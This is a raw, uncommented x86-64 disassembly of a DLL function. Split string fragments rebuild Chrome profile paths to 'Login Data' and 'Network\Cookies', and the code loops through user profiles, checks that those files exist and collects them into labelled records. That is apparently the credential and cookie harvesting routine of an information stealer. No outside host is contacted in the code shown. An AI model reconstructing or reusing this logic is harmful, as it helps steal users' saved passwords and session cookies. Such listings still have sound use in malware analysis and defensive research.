lea rcx, [rsp + 0x30]
call fcn.180009548
mov qword [rsp + 0x70], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rsp + 0x70], r15w
lea rdx, str.taDefaultLogin_Data
lea rcx, [rsp + 0x70]
call fcn.1800095ac
nop
mov qword [rsp + 0x50], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], r15w
lea rdx, str.r_Da
lea rcx, [rsp + 0x50]
call fcn.1800095ac
nop
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x1801049b0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rdx, str.GoogleChromeUse
lea rcx, [rsp + 0x30]
call fcn.1800095ac
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x30]
call fcn.180009ae4
nop
lea r8, [rsp + 0x70]
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.180009ae4
nop
mov rdx, rax
cmp qword [rax + 0x18], rsi
jb 0x1800850d6
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x50]
call fcn.1800157dc
nop
lea rcx, [rbp + 0x50]
call fcn.180009548
nop
lea rcx, [rbp + 0x30]
call fcn.180009548
nop
lea rcx, [rsp + 0x30]
call fcn.180009548
nop
lea rcx, [rsp + 0x50]
call fcn.180009548
nop
lea rcx, [rsp + 0x70]
call fcn.180009548
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], rsi
cmovae rdx, qword [rbp - 0x70]
call fcn.18007fc10
test eax, eax
je 0x1800854c8
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], rsi
cmovae rdx, qword [rbp - 0x50]
call fcn.18007fc10
test eax, eax
je 0x1800854c8
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x30], xmm0
mov ecx, 0x60
call fcn.18008b3bc
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x30], rax
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], rsi
cmovae rcx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x20]
lea r8, [rcx + rax*2]
lea rdx, [rbp + 0x10]
cmovae rdx, qword [rbp + 0x10]
lea rcx, [rsp + 0x30]
call fcn.1800888c4
mov rbx, rax
mov qword [rbp - 0x30], r15
movdqa xmm0, xmmword [0x1801049c0]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], r15b
lea rdx, str.state
lea rcx, [rbp - 0x30]
call fcn.18000963c
mov qword [rbp - 0x10], r15
xorps xmm0, xmm0
movdqu xmmword [rbp], xmm0
mov r8d, 0x20
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.1800ac6d0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], r12
mov byte [rbx], r15b
lea r8, [rbp - 0x30]
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x30]
call fcn.180088544
nop
lea rcx, [rbp - 0x30]
call fcn.180008b24
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180085241
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, rdi
jb 0x18008523c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180085af9
call fcn.18008b3f8
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], rsi
cmovae rcx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x40]
lea r8, [rcx + rax*2]
lea rdx, [rbp - 0x50]
cmovae rdx, qword [rbp - 0x50]
lea rcx, [rsp + 0x30]
call fcn.1800888c4
mov rbx, rax
mov qword [rbp - 0x30], r15
movdqa xmm0, xmmword [0x1801049c0]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], r15b
lea rdx, str.login
lea rcx, [rbp - 0x30]
call fcn.18000963c
mov qword [rbp - 0x10], r15
xorps xmm0, xmm0
movdqu xmmword [rbp], xmm0
mov r8d, 0x20
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.1800ac6d0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], r12
mov byte [rbx], r15b
lea r8, [rbp - 0x30]
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x30]
call fcn.180088544
nop
lea rcx, [rbp - 0x30]
call fcn.180008b24
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x18008530f
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, rdi
jb 0x18008530a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180085b11
call fcn.18008b3f8
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], rsi
cmovae rcx, qword [rbp - 0x70]
mov rax, qword [rbp - 0x60]
lea r8, [rcx + rax*2]
lea rdx, [rbp - 0x70]
cmovae rdx, qword [rbp - 0x70]
lea rcx, [rbp + 0xd0]
call fcn.1800888c4
mov rbx, rax
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r12
mov byte [rsp + 0x50], r15b
lea rdx, [0x1801046f0]
lea rcx, [rsp + 0x50]
call fcn.18000963c
nop
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r12
mov byte [rsp + 0x30], r15b
lea rdx, str.cook
lea rcx, [rsp + 0x30]
call fcn.18000963c
nop
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
mov dl, byte [rbp + 0x3a8]
lea rcx, [rsp + 0x70]
call fcn.18000a868
nop
mov r8, rbx
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x30]
call fcn.180009a60
nop
mov r8, rax
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x30]
call fcn.180088544
nop
lea rcx, [rbp - 0x30]
call fcn.180008b24
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x180085408
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, rdi
jb 0x180085403
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180085b17
call fcn.18008b3f8
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], r12
mov byte [rsp + 0x70], r15b
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x18008544e
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, rdi
jb 0x180085449
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180085b1d
call fcn.18008b3f8
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r12
mov byte [rsp + 0x30], r15b
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180085496
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, rdi
jb 0x180085491
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180085acf
call fcn.18008b3f8
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r12
mov byte [rsp + 0x50], r15b
lea rcx, [rbp + 0xd0]
call fcn.180009398
lea rcx, [r14 + 0x38]
lea rdx, [rbp + 0x30]
call fcn.180087838
nop
lea rcx, [rbp + 0x30]
call fcn.180016f20
mov esi, 2
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0xf0]
call fcn.180009100
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.180015414
lea rcx, [rbp + 0xf0]
call fcn.180009548
lea rdx, str.rofile
lea rcx, [rbp - 0x30]
call fcn.180009100
mov rdi, rax
lea rdx, str.meUser_DataP
lea rcx, [rbp + 0x90]
call fcn.180009100
mov rbx, rax
lea rdx, str.GoogleChro
lea rcx, [rbp + 0x70]
call fcn.180009100
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.180009ae4
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.180009ae4
nop
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.1800153f8
nop
lea rcx, [rbp + 0xf0]
call fcn.180009548
nop
lea rcx, [rbp + 0xb0]
call fcn.180009548
nop
lea rcx, [rbp + 0x70]
call fcn.180009548
nop
lea rcx, [rbp + 0x90]
call fcn.180009548
nop
lea rcx, [rbp - 0x30]
call fcn.180009548
mov rdx, rsi
lea rcx, [rbp - 0x30]
call fcn.18001089c
nop
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.1800153f8
nop
lea rcx, [rbp - 0x30]
call fcn.180009548
lea rdx, str.kies
lea rcx, [rbp + 0xf0]
call fcn.180009100
mov rdi, rax
lea rdx, str.workCoo
lea rcx, [rbp + 0xb0]
call fcn.180009100
mov rbx, rax
lea rdx, str.Net
lea rcx, [rbp + 0x70]
call fcn.180009100
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.180009ae4
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.180009ae4
nop
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.1800153f8
nop
lea rcx, [rbp - 0x30]
call fcn.180009548
nop
lea rcx, [rbp + 0x90]
call fcn.180009548
nop
lea rcx, [rbp + 0x70]
call fcn.180009548
nop
lea rcx, [rbp + 0xb0]
call fcn.180009548
nop
lea rcx, [rbp + 0xf0]
call fcn.180009548
lea rdx, [rbp + 0x150]
lea rcx, [rbp - 0x30]
call fcn.180009100
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.180015414
lea rcx, [rbp - 0x30]
call fcn.180009548
lea rdx, str.ataProfile
lea rcx, [rbp + 0xf0]
call fcn.180009100
mov rdi, rax
lea rdx, str.eChromeUser_D
lea rcx, [rbp + 0xb0]
call fcn.180009100
mov rbx, rax
lea rdx, str.Googl
lea rcx, [rbp + 0x70]
call fcn.180009100
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.180009ae4
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.180009ae4
nop
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.1800153f8
nop
lea rcx, [rbp - 0x30]
call fcn.180009548
nop
lea rcx, [rbp + 0x90]
call fcn.180009548
nop
lea rcx, [rbp + 0x70]
call fcn.180009548
nop
lea rcx, [rbp + 0xb0]
call fcn.180009548
nop
lea rcx, [rbp + 0xf0]
call fcn.180009548
mov rdx, rsi
lea rcx, [rbp - 0x30]
call fcn.18001089c
nop
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.1800153f8
nop
lea rcx, [rbp - 0x30]
call fcn.180009548
lea rdx, str.n_Data
lea rcx, [rbp + 0x70]
call fcn.180009100
mov rbx, rax
lea rdx, str.Logi
lea rcx, [rbp + 0x90]
call fcn.180009100
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.180009ae4
nop
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.1800153f8
nop
lea rcx, [rbp - 0x30]
call fcn.180009548
nop
lea rcx, [rbp + 0x90]
call fcn.180009548
nop
lea rcx, [rbp + 0x70]
call fcn.180009548
lea rcx, [rbp - 0x70]
call fcn.1800153d8
mov rdx, rax
call fcn.18007fc10
test eax, eax
je 0x180085a76
lea rcx, [rbp - 0x50]
call fcn.1800153d8
mov rdx, rax
call fcn.18007fc10
test eax, eax
je 0x180085a76
lea rcx, [rbp + 0x50]
call fcn.1800873bc
nop
lea rdx, [rbp + 0x3a8]
lea rcx, [rbp + 0x10]
call fcn.18001b218
mov rbx, rax
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x10]
call fcn.18001b234
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rbp + 0xb0]
call fcn.1800888c4
mov rdi, rax
lea rdx, str.tate
lea rcx, [rbp + 0x70]
call fcn.180009414
mov rbx, rax
lea rdx, [0x1800fda9c]
lea rcx, [rbp + 0x90]
call fcn.180009414
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.180009870
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.180009a60
nop
mov r8, rax
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x50]
call fcn.180088544
nop
lea rcx, [rbp + 0xf0]
call fcn.180008b24
nop
lea rcx, [rbp - 0x30]
call fcn.180009398
nop
lea rcx, [rbp + 0x90]
call fcn.180009398
nop
lea rcx, [rbp + 0x70]
call fcn.180009398
nop
lea rcx, [rbp + 0xb0]
call fcn.180009398
lea rdx, [rbp + 0x3b8]
lea rcx, [rbp - 0x50]
call fcn.18001b218
mov rbx, rax
lea rdx, [rbp + 0x130]
lea rcx, [rbp - 0x50]
call fcn.18001b234
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rbp + 0xb0]
call fcn.1800888c4
mov rdi, rax
lea rdx, [0x1801047f4]
lea rcx, [rbp + 0x70]
call fcn.180009414
mov rbx, rax
lea rdx, [0x180101430]
lea rcx, [rbp + 0x90]
call fcn.180009414
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.180009870
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.180009a60
nop
mov r8, rax
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x50]
call fcn.180088544
nop
lea rcx, [rbp + 0xf0]
call fcn.180008b24
nop
lea rcx, [rbp - 0x30]
call fcn.180009398
nop
lea rcx, [rbp + 0x90]
call fcn.180009398
nop
lea rcx, [rbp + 0x70]
call fcn.180009398
nop
lea rcx, [rbp + 0xb0]
call fcn.180009398
lea rdx, [rbp + 0xd0]
lea rcx, [rbp - 0x70]
call fcn.18001b218
mov rbx, rax
lea rdx, [rbp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.18001b234
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rbp + 0xb0]
call fcn.1800888c4
mov rdi, rax
lea rdx, str.okies
lea rcx, [rbp + 0x70]
call fcn.180009414
mov rbx, rax
lea rdx, [0x1800f6980]
lea rcx, [rbp + 0x90]
call fcn.180009414
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.180009870
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.180009a60
nop
mov r8, rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x50]
call fcn.180088544
nop
lea rcx, [rbp + 0xf0]
call fcn.180008b24
nop
lea rcx, [rbp - 0x30]
call fcn.180009398
nop
lea rcx, [rbp + 0x90]
call fcn.180009398
nop
lea rcx, [rbp + 0x70]
call fcn.180009398
nop
lea rcx, [rbp + 0xb0]
call fcn.180009398
lea rcx, [r14 + 0x38]
lea rdx, [rbp + 0x50]
call fcn.180087838
nop
lea rcx, [rbp + 0x50]
call fcn.180016f20
inc rsi
cmp rsi, 0x69
jb 0x1800854cd
lea rcx, [r14 + 0x38]
call fcn.180008f58
test rax, rax
jne 0x180085a96
lea ebx, [rax + 3]
jmp 0x180085a9e
call fcn.180008f58
lea ebx, [rax + 2]
lea rcx, [rbp + 0x10]
call fcn.180009548
nop
lea rcx, [rbp - 0x50]
call fcn.180009548
nop
lea rcx, [rbp - 0x70]
call fcn.180009548
mov eax, ebx
add rsp, 0x460
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1800ba888
nop
call fcn.1800ba888
int3
call fcn.1800ba888
nop
call fcn.1800ba888
nop
call fcn.1800ba888
nop
call fcn.1800ba888
nop
call fcn.1800ba888
nop
call fcn.1800ba888
nop
call fcn.1800ba888
int3
call fcn.1800ba888
int3
call fcn.1800ba888
nop
call fcn.1800ba888
nop
call fcn.1800ba888
nop
call fcn.1800ba888
int3